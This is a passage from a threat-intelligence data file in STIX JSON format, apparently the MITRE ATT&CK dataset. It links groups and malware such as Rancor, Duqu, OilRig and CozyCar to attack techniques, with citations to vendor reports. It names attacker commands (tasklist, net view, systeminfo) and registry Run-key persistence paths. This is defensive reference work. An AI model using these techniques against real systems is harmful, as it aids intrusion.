            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used cmd.exe to execute commmands.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:38:55.099Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--366214ea-29b0-458a-a852-7a76420783d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-24T19:56:37.801Z",
            "created": "2017-05-31T21:33:27.029Z"
        },
        {
            "id": "relationship--d2d9a619-4379-4e15-9115-40ca9209f316",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects the current username from the victim.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.058Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.889Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "When the [Duqu](https://attack.mitre.org/software/S0038) command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
            "type": "relationship",
            "modified": "2020-03-27T18:43:05.405Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.306Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e30a790b-8f09-4bdc-8116-275d00880333",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by [SPACESHIP](https://attack.mitre.org/software/S0035).(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2020-03-16T23:56:46.394Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--066d9d0e-0298-420b-ba84-a4af07211a35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) searches the local system and gathers data.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.212Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--91b6a6e1-c0eb-4bd8-84d4-4c31caf2ba6a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) performs the <code>tasklist</code> command to list running processes.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.268Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) contains a custom version of the RC4 algorithm that includes a programming error.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.669Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--71fd7b73-462f-4629-8d95-59d0129b1503",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of available servers with the command <code>net view</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.916Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--28084f31-80be-472b-bd15-6945b2905a93",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) deletes one of its files, 2.hwp, from the endpoint after establishing persistence.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.048Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8bb8c2ab-b701-4a09-902b-a2ddf8d36451",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An older variant of [PLAINTEE](https://attack.mitre.org/software/S0254) performs UAC bypass.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.269Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--40e636e8-a891-46fb-ba04-69db00062354",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RGDoor](https://attack.mitre.org/software/S0258) encrypts files with XOR before sending them back to the C2 server.(Citation: Unit 42 RGDoor Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 RGDoor Jan 2018",
                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
                }
            ],
            "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T03:04:09.125Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[EvilGrab](https://attack.mitre.org/software/S0152) adds a Registry Run key for ctfmon.exe to establish persistence.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T16:46:28.722Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--327a64df-b405-453b-83d2-528d17e8df51",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br><code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> <br><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> <br><code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code> <br><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>(Citation: F-Secure CozyDuke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.729Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) gathers system configuration information.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:07:10.821Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b70e19d8-9602-4795-9d9b-ef18cdbe5d51",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-ProcessTokenGroup</code> Privesc-PowerUp module can enumerate all SIDs associated with its current token.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:30:29.879Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                },
                {
                    "source_name": "Symantec APT28 Oct 2018",
                    "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government",
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                }
            ],
            "description": "(Citation: XAgentOSX 2017)(Citation: Symantec APT28 Oct 2018)(Citation: US District Court Indictment GRU Oct 2018)",
            "type": "relationship",
            "modified": "2020-10-01T18:55:45.528Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--80aab758-d3fc-4380-b114-e552bdace832",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.025Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Moafee](https://attack.mitre.org/groups/G0002) has been known to employ binary padding.(Citation: Haq 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html",
                    "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Haq 2014"
                }
            ],
            "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2020-02-05T14:58:20.740Z",
            "created": "2017-05-31T21:33:27.032Z"
        },
        {
            "id": "relationship--5e462e1b-62ec-4b44-990d-acd3f7b0010c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying and the <code>ps</code> command.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.711Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0c03f2b4-a752-4d74-9c26-5306132a3329",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>hostname</code> and <code>systeminfo</code> on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: FireEye APT34 July 2019)\t",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                },
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
                },
                {
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "source_name": "FireEye APT34 July 2019"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.156Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6c130246-6222-4395-8edc-cb325b437696",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the current domain the victim system belongs to.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.336Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "type": "relationship",
            "modified": "2021-04-24T13:40:53.230Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e6b68811-113e-4f86-8096-9f506e34dda1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin that can perform ARP scanning as well as port scanning.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.633Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [ZLib](https://attack.mitre.org/software/S0086) backdoor compresses communications using the standard Zlib compression library.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "relationship",
            "modified": "2020-03-30T02:44:26.636Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c",
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.(Citation: Mandiant No Easy Breach)",
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            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
